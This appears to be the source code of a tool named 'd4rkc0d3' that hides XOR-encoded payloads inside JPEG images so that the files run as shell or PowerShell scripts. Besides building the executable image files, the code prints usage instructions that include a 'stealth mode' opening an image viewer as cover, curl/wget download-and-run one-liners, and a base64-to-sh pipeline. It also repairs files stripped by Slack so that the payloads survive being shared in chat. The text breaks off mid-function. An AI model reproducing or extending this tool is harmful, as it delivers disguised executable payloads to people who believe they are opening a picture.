[[nodiscard]] std::string writeOutputFile(std::span<const Byte> bytes, std::string_view custom_name = {}) {
constexpr mode_t OUTPUT_MODE = S_IRUSR | S_IWUSR | S_IXUSR;
constexpr int OUTPUT_FLAGS = O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW;
constexpr int MAX_OUTPUT_ATTEMPTS = 64;
if (bytes.empty()) {
throw std::runtime_error("Image File Error: Output image is empty.");
}
if (!custom_name.empty()) {
std::string output_filename(custom_name);
UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
if (output_fd.get() < 0) {
if (errno == EEXIST) {
throw std::runtime_error(std::format("Write Error: File \"{}\" already exists.", output_filename));
}
throw std::runtime_error(std::format("Write Error: Unable to create \"{}\": {}", output_filename, std::system_category().message(errno)));
}
writeOutputBytes(output_filename, output_fd.get(), bytes);
const int raw_fd = output_fd.release();
if (::close(raw_fd) != 0) {
unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
}
{
UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
if (sync_fd.get() >= 0) {
::fsync(sync_fd.get());
}
}
return output_filename;
}
std::random_device rd;
for (int attempt = 0; attempt < MAX_OUTPUT_ATTEMPTS; ++attempt) {
std::string output_filename = std::format("d4rc0d3_{}.jpg", randomOutputSuffix(rd));
UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
if (output_fd.get() < 0) {
if (errno == EEXIST) {
continue;
}
throw std::runtime_error(std::format("Write Error: Unable to create output file: {}", std::system_category().message(errno)));
}
writeOutputBytes(output_filename, output_fd.get(), bytes);
const int raw_fd = output_fd.release();
if (::close(raw_fd) != 0) {
unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
}
{
UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
if (sync_fd.get() >= 0) {
::fsync(sync_fd.get());
}
}
return output_filename;
}
throw std::runtime_error("Write Error: Unable to create a unique output filename after multiple attempts.");
}
[[nodiscard]] vBytes buildPolyglotOutputBytes(
std::span<const Byte> image_file_vec,
std::span<const Byte> profile_vec,
std::span<const Byte> com_segment) {
constexpr std::size_t SOI_SIZE = 2;
if (image_file_vec.size() < JFIF_SIG_LENGTH) {
throw std::runtime_error("Image File Error: Image too small to write output.");
}
vBytes output_vec;
output_vec.reserve(checkedAdd(
checkedAdd(image_file_vec.size(), profile_vec.size(), "Output image"),
com_segment.size(), "Output image"));
// SOI + COM + APP0(patched) + ICC + rest
output_vec.insert(output_vec.end(),
image_file_vec.begin(),
image_file_vec.begin() + SOI_SIZE);
if (!com_segment.empty()) {
output_vec.insert(output_vec.end(), com_segment.begin(), com_segment.end());
}
output_vec.insert(output_vec.end(),
image_file_vec.begin() + SOI_SIZE,
image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH));
output_vec.insert(output_vec.end(), profile_vec.begin(), profile_vec.end());
output_vec.insert(output_vec.end(),
image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH),
image_file_vec.end());
return output_vec;
}
[[nodiscard]] bool containsTailCloseSequence(std::span<const Byte> bytes) {
constexpr auto TAIL_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
constexpr std::size_t TAIL_SEARCH_WINDOW = 256;
const std::span<const Byte> tail = bytes.size() > TAIL_SEARCH_WINDOW ?
bytes.last(TAIL_SEARCH_WINDOW) :
bytes;
return !std::ranges::search(tail, std::span<const Byte>(TAIL_CLOSE_SIG)).empty();
}
[[nodiscard]] vBytes buildTailStableOutput(
std::span<const Byte> compatible_image_file_vec,
std::span<const Byte> profile_vec,
std::span<const Byte> com_segment,
Option option,
bool& reencoded_for_tail_stability) {
constexpr int MAX_TAIL_STABILITY_RETRIES = 512;
for (int attempt = 0; attempt <= MAX_TAIL_STABILITY_RETRIES; ++attempt) {
vBytes candidate_image_file_vec;
if (attempt == 0) {
candidate_image_file_vec.assign(compatible_image_file_vec.begin(), compatible_image_file_vec.end());
}
else if (!makeTailRetryCandidate(compatible_image_file_vec, candidate_image_file_vec, attempt - 1)) {
break;
}
patchImageTail(candidate_image_file_vec, option);
writeJfifCommentBlock(candidate_image_file_vec);
vBytes output_vec = buildPolyglotOutputBytes(candidate_image_file_vec, profile_vec, com_segment);
if (!containsTailCloseSequence(output_vec)) {
throw std::runtime_error("Tail Patch Error: Expected close-comment sequence was not present in output tail.");
}
const JpegWarningSummary warnings = inspectJpegWarnings(output_vec);
if (!warnings.hasUnsafeTailWarning()) {
reencoded_for_tail_stability = attempt > 0;
return output_vec;
}
if (attempt == 0 && warnings.extraneous_data > 0) {
std::println("\nTail validation reported extraneous bytes before EOI; re-encoding cover image for a safer tail.\n");
}
}
throw std::runtime_error(
"Image Compatibility Error: Unable to produce a tail-stable output image. "
"Try another image or adjust JPEG quality/dimensions.");
}
[[nodiscard]] std::string_view payloadModeLabel(PayloadMode mode) {
switch (mode) {
case PayloadMode::DirectPwsh: return "PowerShell (direct)";
case PayloadMode::Script: return "script (bootstrap)";
case PayloadMode::Binary: return "binary (bootstrap)";
case PayloadMode::Command: return "inline commands";
}
return "unknown";
}
void printExecutionInstructions(
const std::string& output_filename,
PayloadMode mode,
const BootstrapOptions& opts) {
const std::string f = output_filename;
const std::string ps1 = std::filesystem::path(f).stem().string() + ".ps1";
std::println("\n── Execution ──────────────────────────────────────────────");
std::println(" The .jpg is NOT modified or deleted. It stays as an image.");
if (opts.keep_extracted) {
std::println(" Extracted file will PERSIST after execution.");
} else {
std::println(" Only a temporary extracted file is created, used, and removed.");
}
if (!opts.extract_dir.empty()) {
std::println(" Extraction directory: {}", opts.extract_dir);
}
std::println("");
std::println(" Direct execution (Linux, Mac — file is already +x):");
std::println(" ./{}", f);
std::println(" sh {} ← use this if file was shared via Slack/Discord", f);
if (mode == PayloadMode::DirectPwsh) {
std::println(" (requires pwsh installed)");
} else {
std::println(" (uses POSIX sh — no extra dependencies)");
}
if (opts.show_image) {
std::println(" → Image viewer will open automatically (stealth mode)");
}
std::println("");
std::println(" PowerShell (requires .ps1 extension):");
std::println(" cp {} {} && pwsh {}", f, ps1, ps1);
std::println("");
std::println(" Windows (cmd.exe):");
std::println(" ren {} {} & pwsh {}", f, ps1, ps1);
std::println(" powershell -ExecutionPolicy Bypass -File {}", ps1);
if (mode == PayloadMode::Script || mode == PayloadMode::Binary) {
std::println("");
std::println(" Suppress header noise:");
std::println(" ./{} 2>/dev/null", f);
}
std::println("");
std::println(" One-liner download + run:");
std::println(" curl -o i.jpg \"<URL>\" && sh i.jpg");
std::println(" wget -O i.jpg \"<URL>\" && sh i.jpg");
std::println("");
std::println(" If file was shared via Slack/Discord (Slack replaces APP0):");
if (mode == PayloadMode::Command) {
std::println(" sh {} ← payload survives (inline command)", f);
} else {
std::println(" ⚠ Script/binary payloads are REMOVED by Slack (post-EOI stripped).");
std::println(" Use -c 'commands' for Slack-compatible payloads.");
}
std::println(" d4rkc0d3 --fix-slack {} fixed.jpg && bash fixed.jpg", f);
std::println("──────────────────────────────────────────────────────────");
}
}
[[nodiscard]] static int fixSlack(int argc, char** argv) {
if (argc < 3) {
std::println(stderr, "Usage: {} --fix-slack <slack-file.jpg> [output.jpg]", argv[0]);
std::println(stderr, "");
std::println(stderr, "Patches a Slack-processed d4rkc0d3 polyglot to restore bash-executability.");
std::println(stderr, "Slack replaces the shell-safe APP0 with a standard JFIF APP0 containing");
std::println(stderr, "NUL bytes that cause bash to reject the file as binary.");
std::println(stderr, "");
std::println(stderr, "After fixing, execute with: ./<output.jpg> or bash <output.jpg>");
std::println(stderr, "");
std::println(stderr, "Note: script-mode payloads (.sh, .py, etc.) are REMOVED by Slack.");
std::println(stderr, "Only -c (inline command) payloads survive Slack processing.");
return 1;
}
const std::string input_path = argv[2];
const std::string output_path = (argc >= 4) ? argv[3] : input_path + ".fixed.jpg";
std::ifstream in(input_path, std::ios::binary);
if (!in) {
std::println(stderr, "Error: cannot open '{}'", input_path);
return 1;
}
vBytes data((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
in.close();
if (data.size() < 20) {
std::println(stderr, "Error: file too small to be a JPEG");
return 1;
}
if (data[0] != 0xFF || data[1] != 0xD8) {
std::println(stderr, "Error: not a JPEG file (missing SOI)");
return 1;
}
std::size_t app0_pos = std::string::npos;
for (std::size_t i = 2; i + 3 < data.size(); ) {
if (data[i] != 0xFF) break;
const Byte marker = data[i + 1];
if (marker == 0xE0) {
app0_pos = i;
break;
}
if (i + 3 >= data.size()) break;
const std::size_t seg_len = (static_cast<std::size_t>(data[i + 2]) << 8) | data[i + 3];
if (seg_len < 2) break;
i += 2 + seg_len;
}
if (app0_pos == std::string::npos) {
std::println(stderr, "Error: no APP0 segment found — may not be a Slack-processed file");
return 1;
}
const std::size_t app0_len_field = (static_cast<std::size_t>(data[app0_pos + 2]) << 8)
| data[app0_pos + 3];
const std::size_t app0_end = app0_pos + 2 + app0_len_field;
if (app0_end > data.size()) {
std::println(stderr, "Error: APP0 segment extends beyond end of file");
return 1;
}
int nul_count = 0;
for (std::size_t i = app0_pos; i < app0_end; ++i)
if (data[i] == 0x00) ++nul_count;
if (nul_count == 0) {
std::println("APP0 has no NUL bytes — file may already be compatible with bash.");
std::println("Copying as-is to: {}", output_path);
} else {
std::println("APP0 at offset {}: {} bytes, {} NUL(s) found", app0_pos, app0_len_field, nul_count);
std::println("APP0 at offset {}: {} bytes, {} NUL(s) — patching...",
app0_pos, app0_len_field, nul_count);
constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
});
if (app0_pos + JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size() <= data.size()) {
std::ranges::copy(JFIF_COMMENT_BLOCK,
data.begin() + static_cast<std::ptrdiff_t>(
app0_pos + JFIF_COMMENT_BLOCK_INDEX - 2));
}
for (std::size_t i = app0_pos; i < app0_end; ++i) {
if (data[i] == 0x00) data[i] = 0x01;
}
std::println("Done.");
}
const auto first64_end = std::min(data.size(), std::size_t{64});
const int remaining_nuls = static_cast<int>(
std::count(data.begin(), data.begin() + static_cast<std::ptrdiff_t>(first64_end), Byte{0x00}));
if (remaining_nuls > 0) {
std::println("Warning: {} NUL(s) remain in first 64 bytes — bash may still reject file.", remaining_nuls);
std::println("Use 'sh <file>' or the one-liner instead:");
std::println(" grep -am1 '^#0:' {} | cut -c4- | base64 -d | sh -s {}", output_path, output_path);
} else {
std::println("No NUL bytes in first 64 bytes — bash-executable. ✓");
}
{
std::ofstream out(output_path, std::ios::binary);
if (!out) {
std::println(stderr, "Error: cannot write to '{}'", output_path);
return 1;
}
out.write(reinterpret_cast<const char*>(data.data()),
static_cast<std::streamsize>(data.size()));
}
std::println("Saved: {} ({} bytes)", output_path, data.size());
std::println("");
std::println("Execute with:");
std::println(" chmod +x {} && ./{}", output_path, output_path);
std::println(" or: bash {}", output_path);
return 0;
}
int main(int argc, char** argv) {
if (argc >= 2 && std::string_view(argv[1]) == "--fix-slack") {
return fixSlack(argc, argv);
}
try {
auto args_opt = ProgramArgs::parse(argc, argv);
if (!args_opt) {
return 0;
}
const auto& args = *args_opt;
const BootstrapOptions boot_opts{
.keep_extracted = args.keep_extracted,
.show_image = args.show_image,
.sequential = args.sequential,
.extract_dir = args.extract_dir
};
vBytes image_file_vec = readFile(args.image_file_path, FileTypeCheck::cover_image);
vBytes xor_key = generateXorKey(XOR_KEY_LENGTH);
vBytes script_bytes;
vBytes payload_for_eoi;
if (args.payload_mode == PayloadMode::Command) {
script_bytes = generateBootstrap(
PayloadMode::Command, {}, {}, args.inline_commands, boot_opts, xor_key);
std::println("\nPayload mode: inline commands ({} bytes)", args.inline_commands.size());
} else if (args.payload_mode == PayloadMode::DirectPwsh) {
vBytes payload_vec = readFile(args.payload_file_path, FileTypeCheck::script_file);
rejectUnsupportedTextEncoding(payload_vec);
stripUtf8Bom(payload_vec);
script_bytes = generateBootstrap(
PayloadMode::DirectPwsh, payload_vec, args.payload_file_path, "", boot_opts, xor_key);
std::println("\nPayload mode: {} ({} bytes)",
payloadModeLabel(args.payload_mode), payload_vec.size());
} else {
vBytes payload_vec = readFile(
args.payload_file_path, FileTypeCheck::payload_file);
if (args.payload_mode == PayloadMode::Script) {
rejectUnsupportedTextEncoding(payload_vec);
stripUtf8Bom(payload_vec);
}
payload_for_eoi = std::move(payload_vec);
script_bytes = generateBootstrap(
args.payload_mode, payload_for_eoi, args.payload_file_path,
args.inline_commands, boot_opts, xor_key);
std::println("\nPayload mode: {} ({} bytes)",
payloadModeLabel(args.payload_mode), payload_for_eoi.size());
if (!args.inline_commands.empty()) {
std::println("Inline commands prepended: {}", args.inline_commands);
}
}
std::println("XOR encoding: active ({}-byte key)", XOR_KEY_LENGTH);
vBytes profile_vec = buildProfilePayload(script_bytes, MAX_PROFILE_SEGMENT, xor_key);
std::string shell_post_eoi;
vBytes com_segment = buildShellComSegment(args.payload_mode, args.payload_file_path, args.inline_commands, boot_opts, xor_key, &shell_post_eoi);
vBytes post_eoi_data = generatePostEoiPayload(payload_for_eoi, xor_key, shell_post_eoi);
const bool image_was_modified = ensureImageCompatible(image_file_vec);
if (image_was_modified) {
std::println("");
}
bool reencoded_for_tail_stability = false;
vBytes output_file_vec = buildTailStableOutput(image_file_vec, profile_vec, com_segment, args.option, reencoded_for_tail_stability);
if (!post_eoi_data.empty()) {
output_file_vec.insert(output_file_vec.end(), post_eoi_data.begin(), post_eoi_data.end());
}
const std::size_t total_output_size = output_file_vec.size();
const std::string output_filename = writeOutputFile(output_file_vec, args.output_filename);
std::println("\nSaved JPG polyglot image: {} ({} bytes).", output_filename, total_output_size);
if (reencoded_for_tail_stability) {
std::println("\nTail validation avoided an output with extraneous bytes before EOI.");
}
if (image_was_modified) {
std::println("\nComment-block close sequences successfully removed from image.");
std::println("\nPlease check to make sure size & quality of cover image is acceptable.");
}
printExecutionInstructions(output_filename, args.payload_mode, boot_opts);
std::println("\nComplete!\n");
return 0;
}
catch (const std::runtime_error& e) {
std::println(std::cerr, "\n{}\n", e.what());
return 1;
}
catch (const std::exception& e) {
std::println(std::cerr, "\nUnexpected error: {}\n", e.what());
return 1;
}
}
+299
View File
@@ -0,0 +1,299 @@
#include "file_utils.h"
// stb_image: single-header PNG/JPEG/BMP loader used for PNG→JPEG conversion.
// STB_IMAGE_IMPLEMENTATION must be defined in exactly one .cpp file.
#define STB_IMAGE_IMPLEMENTATION
#define STBI_ONLY_PNG
#define STBI_ONLY_JPEG
#define STBI_NO_FAILURE_STRINGS
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wconversion"
#pragma GCC diagnostic ignored "-Wsign-conversion"
#pragma GCC diagnostic ignored "-Wpedantic"
#pragma GCC diagnostic ignored "-Wunused-function"
#include "stb_image/include/stb_image.h"
#pragma GCC diagnostic pop
#include <turbojpeg.h>
#include <algorithm>
#include <cerrno>
#include <cctype>
#include <format>
#include <fcntl.h>
#include <initializer_list>
#include <limits>
#include <span>
#include <stdexcept>
#include <string>
#include <string_view>
#include <sys/stat.h>
#include <system_error>
namespace fs = std::filesystem;
namespace {
constexpr std::size_t MIN_COVER_IMAGE_FILE_SIZE = 134;
constexpr std::size_t MAX_COVER_IMAGE_FILE_SIZE = 5 * 1024 * 1024;
constexpr std::size_t MIN_SCRIPT_FILE_SIZE = 10;
constexpr std::size_t MIN_PAYLOAD_FILE_SIZE = 1;
[[noreturn]] void throwPathError(std::string_view action, const fs::path& path, int error_code) {
throw std::runtime_error(std::format("{}: {} ({})", action, path.string(), std::system_category().message(error_code)));
}
struct OpenFileResult {
UniqueFd fd;
struct stat status{};
};
[[nodiscard]] bool hasValidFilename(const fs::path& p) {
const std::string filename = p.filename().string();
if (filename.empty()) {
return false;
}
return std::ranges::all_of(filename, [](unsigned char c) {
return std::isalnum(c) || c == '.' || c == '-' || c == '_' || c == '@' || c == '%';
});
}
[[nodiscard]] bool hasFileExtension(const fs::path& p, std::initializer_list<std::string_view> exts) {
const std::string ext = p.extension().string();
const auto ieq = [](char a, char b) {
return std::tolower(static_cast<unsigned char>(a)) == std::tolower(static_cast<unsigned char>(b));
};
return std::ranges::any_of(exts, [&](std::string_view expected) {
return ext.size() == expected.size() &&
std::ranges::equal(ext, expected, ieq);
});
}
void validateCoverImageFile(const fs::path& path, std::size_t file_size) {
if (!hasFileExtension(path, {".jpg", ".jpeg", ".jfif", ".png"})) {
throw std::runtime_error("File Type Error: Invalid image extension. Expecting \".jpg\", \".jpeg\", \".jfif\", or \".png\".");
}
if (file_size < MIN_COVER_IMAGE_FILE_SIZE) {
throw std::runtime_error("File Error: Invalid image file size.");
}
if (file_size > MAX_COVER_IMAGE_FILE_SIZE) {
throw std::runtime_error("Image File Error: Cover image file exceeds maximum size limit.");
}
}
void validateScriptFile(const fs::path& path, std::size_t file_size) {
if (!hasFileExtension(path, {".ps1"})) {
throw std::runtime_error("File Type Error: Invalid script extension. Only expecting \".ps1\".");
}
if (file_size < MIN_SCRIPT_FILE_SIZE) {
throw std::runtime_error("Script File Error: PowerShell script is below minimum size.");
}
}
void validatePayloadFile(const fs::path& path, std::size_t file_size) {
if (!path.has_extension()) {
throw std::runtime_error("File Type Error: Payload file must have an extension.");
}
if (file_size < MIN_PAYLOAD_FILE_SIZE) {
throw std::runtime_error("Payload File Error: Payload file is empty.");
}
}
[[nodiscard]] OpenFileResult openRegularFileNoFollow(const fs::path& path) {
constexpr int OPEN_FLAGS = O_RDONLY | O_CLOEXEC | O_NOFOLLOW;
OpenFileResult result{ .fd = UniqueFd(::open(path.c_str(), OPEN_FLAGS)) };
if (result.fd.get() < 0) {
const int error_code = errno;
if (error_code == ENOENT) {
throw std::runtime_error(std::format("Error: File \"{}\" not found.", path.string()));
}
if (error_code == ELOOP) {
throw std::runtime_error("Error: Symbolic links are not permitted.");
}
throwPathError("Failed to open file", path, error_code);
}
if (::fstat(result.fd.get(), &result.status) != 0) {
throwPathError("Failed to stat file", path, errno);
}
if (!S_ISREG(result.status.st_mode)) {
throw std::runtime_error(std::format("Error: \"{}\" is not a regular file.", path.string()));
}
return result;
}
[[nodiscard]] std::size_t fileSizeFromStat(const fs::path& path, const struct stat& status) {
if (status.st_size <= 0) {
throw std::runtime_error("Error: File is empty.");
}
const auto raw_size = static_cast<std::uintmax_t>(status.st_size);
if (raw_size > static_cast<std::uintmax_t>(std::numeric_limits<std::size_t>::max())) {
throw std::runtime_error(std::format("Error: File \"{}\" is too large to process on this platform.", path.string()));
}
return static_cast<std::size_t>(raw_size);
}
void validateFileType(const fs::path& path, std::size_t file_size, FileTypeCheck file_type) {
switch (file_type) {
case FileTypeCheck::cover_image:
validateCoverImageFile(path, file_size);
return;
case FileTypeCheck::script_file:
validateScriptFile(path, file_size);
return;
case FileTypeCheck::payload_file:
validatePayloadFile(path, file_size);
return;
}
throw std::runtime_error("Internal Error: Unknown file type check.");
}
void readExact(const fs::path& path, int fd, std::span<Byte> buffer) {
while (!buffer.empty()) {
const auto chunk_size = std::min<std::size_t>(buffer.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
const auto bytes_read = ::read(fd, buffer.data(), chunk_size);
if (bytes_read > 0) {
buffer = buffer.subspan(static_cast<std::size_t>(bytes_read));
continue;
}
if (bytes_read == 0) {
throw std::runtime_error("Failed to read full file: unexpected EOF.");
}
if (errno != EINTR) {
throwPathError("Failed to read file", path, errno);
}
}
}
[[nodiscard]] bool sameTimestamp(const timespec& lhs, const timespec& rhs) {
return lhs.tv_sec == rhs.tv_sec && lhs.tv_nsec == rhs.tv_nsec;
}
#ifdef __APPLE__
#define JPWS_ST_MTIM st_mtimespec
#define JPWS_ST_CTIM st_ctimespec
#else
#define JPWS_ST_MTIM st_mtim
#define JPWS_ST_CTIM st_ctim
#endif
void verifyFileUnchanged(const fs::path& path, int fd, const struct stat& expected_status, std::size_t expected_size) {
struct stat current_status{};
if (::fstat(fd, &current_status) != 0) {
throwPathError("Failed to stat file after read", path, errno);
}
if (!S_ISREG(current_status.st_mode)) {
throw std::runtime_error(std::format("Error: \"{}\" is no longer a regular file.", path.string()));
}
if (current_status.st_dev != expected_status.st_dev ||
current_status.st_ino != expected_status.st_ino ||
current_status.st_mode != expected_status.st_mode ||
current_status.st_size < 0 ||
static_cast<std::uintmax_t>(current_status.st_size) != static_cast<std::uintmax_t>(expected_size) ||
!sameTimestamp(current_status.JPWS_ST_MTIM, expected_status.JPWS_ST_MTIM) ||
!sameTimestamp(current_status.JPWS_ST_CTIM, expected_status.JPWS_ST_CTIM)) {
throw std::runtime_error(std::format("Error: File \"{}\" changed while it was being read.", path.string()));
}
}
void validateJpegOrPngMarker(std::span<const Byte> bytes); // forward decl
}
[[nodiscard]] static bool isPng(std::span<const Byte> bytes) {
constexpr std::array<Byte, 4> PNG_SIG = {
static_cast<Byte>(0x89), static_cast<Byte>(0x50),
static_cast<Byte>(0x4E), static_cast<Byte>(0x47)
};
return bytes.size() >= 4 &&
std::ranges::equal(bytes.first(4), std::span<const Byte>(PNG_SIG));
}
namespace {
void validateJpegOrPngMarker(std::span<const Byte> bytes) {
if (bytes.size() < 2) {
throw std::runtime_error("File Type Error: File too small.");
}
const bool is_jpeg = bytes[0] == 0xFF && bytes[1] == 0xD8;
const bool is_png_val = isPng(bytes);
if (!is_jpeg && !is_png_val) {
throw std::runtime_error(
"File Type Error: Not a valid JPEG or PNG (missing SOI/PNG signature).");
}
}
}
// Converts a PNG (or any stb_image-supported format) to JPEG in memory.
// Uses stb_image to decode, then libjpeg-turbo to re-encode as progressive JPEG.
[[nodiscard]] vBytes convertPngToJpeg(std::span<const Byte> img_data) {
int w = 0, h = 0, channels = 0;
unsigned char* pixels = stbi_load_from_memory(
reinterpret_cast<const stbi_uc*>(img_data.data()),
static_cast<int>(img_data.size()),
&w, &h, &channels,
3 // force RGB output
);
if (!pixels) {
throw std::runtime_error("Image Error: Failed to decode PNG (stb_image error).");
}
unsigned char* jpeg_buf = nullptr;
unsigned long jpeg_size = 0;
tjhandle tj = tjInitCompress();
if (!tj) {
stbi_image_free(pixels);
throw std::runtime_error("Image Error: tjInitCompress failed during PNG conversion.");
}
constexpr int QUALITY = 92;
if (tjCompress2(tj, pixels, w, 0, h, TJPF_RGB,
&jpeg_buf, &jpeg_size,
TJSAMP_444, QUALITY, TJFLAG_PROGRESSIVE) != 0) {
const std::string err = tjGetErrorStr2(tj);
stbi_image_free(pixels);
tjDestroy(tj);
throw std::runtime_error(std::format("Image Error: PNG→JPEG encoding failed: {}", err));
}
vBytes result(jpeg_buf, jpeg_buf + jpeg_size);
tjFree(jpeg_buf);
tjDestroy(tj);
stbi_image_free(pixels);
return result;
}
vBytes readFile(const fs::path& path, FileTypeCheck file_type) {
if (!hasValidFilename(path)) {
throw std::runtime_error("Invalid Input Error: Unsupported characters in filename arguments.");
}
auto open_file = openRegularFileNoFollow(path);
const std::size_t file_size = fileSizeFromStat(path, open_file.status);
validateFileType(path, file_size, file_type);
vBytes vec(file_size);
readExact(path, open_file.fd.get(), vec);
verifyFileUnchanged(path, open_file.fd.get(), open_file.status, file_size);
if (file_type == FileTypeCheck::cover_image) {
validateJpegOrPngMarker(vec);
// If the cover is PNG, convert it to JPEG transparently.
// The engine only processes JPEG, so PNG must be converted first.
if (isPng(vec)) {
vec = convertPngToJpeg(vec);
}
}
return vec;
}
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#include "common.h"
#include <cstddef>
#include <filesystem>
enum class FileTypeCheck : std::uint8_t {
cover_image = 1,
script_file = 2,
payload_file = 3
};
[[nodiscard]] vBytes readFile(
const std::filesystem::path& path,
FileTypeCheck file_type = FileTypeCheck::script_file);
+784
View File
@@ -0,0 +1,784 @@
#define STB_IMAGE_RESIZE_IMPLEMENTATION
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wconversion"
#pragma GCC diagnostic ignored "-Wsign-conversion"
#include "stb_image/include/stb_image_resize2.h"
#pragma GCC diagnostic pop
#include "jpeg_process.h"
#include <turbojpeg.h>
#include <algorithm>
#include <array>
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <format>
#include <iostream>
#include <limits>
#include <optional>
#include <print>
#include <span>
#include <stdexcept>
#include <string_view>
#include <utility>
namespace {
constexpr int MIN_COVER_IMAGE_DIMENSION = 400;
constexpr int MAX_COVER_IMAGE_DIMENSION = 8'192;
constexpr std::size_t MAX_COVER_IMAGE_PIXELS = 25'000'000;
constexpr std::size_t JFIF_COMPATIBILITY_MARKER_INDEX = 0x0D;
constexpr int START_QUALITY = 97;
constexpr int MIN_SAME_DIMENSION_QUALITY = 75;
constexpr int MIN_JPEG_QUALITY = 1;
constexpr int MAX_JPEG_QUALITY = 100;
constexpr int MAX_RESIZE_ATTEMPTS = 300;
constexpr int PROGRESSIVE_JPEG_FLAGS = TJFLAG_PROGRESSIVE;
constexpr int DECODE_PIXEL_FORMAT = TJPF_RGB;
constexpr int DECODE_BYTES_PER_PIXEL = 3;
constexpr stbir_pixel_layout RESIZE_PIXEL_LAYOUT = STBIR_RGB;
constexpr auto COMMENT_BLOCK_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
constexpr auto CLEAN_JFIF_SIG = std::to_array<Byte>({
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
});
struct ImageSize {
int width = 0;
int height = 0;
};
struct JpegSegment {
Byte marker = 0;
std::size_t marker_offset = 0;
std::size_t payload_offset = 0;
std::size_t payload_size = 0;
};
constexpr Byte JPEG_MARKER_SOS = 0xDA;
constexpr Byte JPEG_MARKER_DQT = 0xDB;
constexpr Byte JPEG_MARKER_APP1 = 0xE1;
[[nodiscard]] bool containsCommentBlockClose(std::span<const Byte> jpg) {
if (jpg.size() < 2) {
return false;
}
const Byte* cursor = jpg.data();
const Byte* const last_candidate = jpg.data() + (jpg.size() - 1);
while (cursor < last_candidate) {
const auto remaining = static_cast<std::size_t>(last_candidate - cursor);
const void* hit = std::memchr(cursor, COMMENT_BLOCK_CLOSE_SIG[0], remaining);
if (hit == nullptr) {
return false;
}
const auto* pos = static_cast<const Byte*>(hit);
if (pos[1] == COMMENT_BLOCK_CLOSE_SIG[1]) {
return true;
}
cursor = pos + 1;
}
return false;
}
[[nodiscard]] std::optional<uint16_t> readBigEndian16(std::span<const Byte> bytes, std::size_t offset) {
if (offset > bytes.size() || bytes.size() - offset < 2) {
return std::nullopt;
}
return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
static_cast<uint16_t>(bytes[offset + 1]));
}
[[nodiscard]] bool markerHasNoPayload(Byte marker) {
return marker == 0x01 || marker == 0xD8 || marker == 0xD9 ||
(marker >= 0xD0 && marker <= 0xD7);
}
template <typename Predicate>
[[nodiscard]] std::optional<JpegSegment> findJpegHeaderSegment(std::span<const Byte> jpg, Predicate predicate) {
if (jpg.size() < 2 || jpg[0] != 0xFF || jpg[1] != 0xD8) {
return std::nullopt;
}
std::size_t pos = 2;
while (pos < jpg.size()) {
if (jpg[pos] != 0xFF) {
return std::nullopt;
}
const std::size_t marker_offset = pos;
while (pos < jpg.size() && jpg[pos] == 0xFF) {
++pos;
}
if (pos >= jpg.size()) {
return std::nullopt;
}
const Byte marker = jpg[pos++];
if (marker == 0x00) {
return std::nullopt;
}
if (markerHasNoPayload(marker)) {
continue;
}
const auto segment_length_opt = readBigEndian16(jpg, pos);
if (!segment_length_opt) {
return std::nullopt;
}
const std::size_t segment_length = *segment_length_opt;
if (segment_length < 2 || pos > jpg.size() - segment_length) {
return std::nullopt;
}
const std::size_t payload_offset = pos + 2;
const JpegSegment segment{
.marker = marker,
.marker_offset = marker_offset,
.payload_offset = payload_offset,
.payload_size = segment_length - 2
};
if (predicate(segment)) {
return segment;
}
if (marker == JPEG_MARKER_SOS) {
return std::nullopt;
}
pos += segment_length;
}
return std::nullopt;
}
[[nodiscard]] std::size_t checkedPixelCount(int width, int height) {
if (width <= 0 || height <= 0) {
throw std::runtime_error("Image Error: Invalid image dimensions.");
}
const auto pixel_count = static_cast<std::size_t>(width) * static_cast<std::size_t>(height);
if (pixel_count > MAX_COVER_IMAGE_PIXELS) {
throw std::runtime_error("Image Error: Pixel count exceeds the supported maximum of 25 megapixels.");
}
return pixel_count;
}
void validateImageDimensions(int width, int height) {
if (width < MIN_COVER_IMAGE_DIMENSION || height < MIN_COVER_IMAGE_DIMENSION) {
throw std::runtime_error("Image Error: Dimensions are too small.\nFor platform compatibility, cover image must be at least 400px for both width and height.");
}
if (width > MAX_COVER_IMAGE_DIMENSION || height > MAX_COVER_IMAGE_DIMENSION) {
throw std::runtime_error(std::format("Image Error: Dimensions exceed the supported maximum of {}px.", MAX_COVER_IMAGE_DIMENSION));
}
(void)checkedPixelCount(width, height);
}
[[nodiscard]] std::size_t checkedPixelBufferSize(int width, int height, int bytes_per_pixel) {
if (bytes_per_pixel <= 0) {
throw std::runtime_error("Image Error: Invalid pixel format.");
}
const auto pixel_count = checkedPixelCount(width, height);
if (pixel_count > std::numeric_limits<std::size_t>::max() / static_cast<std::size_t>(bytes_per_pixel)) {
throw std::runtime_error("Image dimensions too large for pixel buffer allocation.");
}
return pixel_count * static_cast<std::size_t>(bytes_per_pixel);
}
[[nodiscard]] bool hasCompatibleJfifHeader(std::span<const Byte> jpg) {
constexpr auto COMPATIBLE_JFIF_SIG = std::to_array<Byte>({
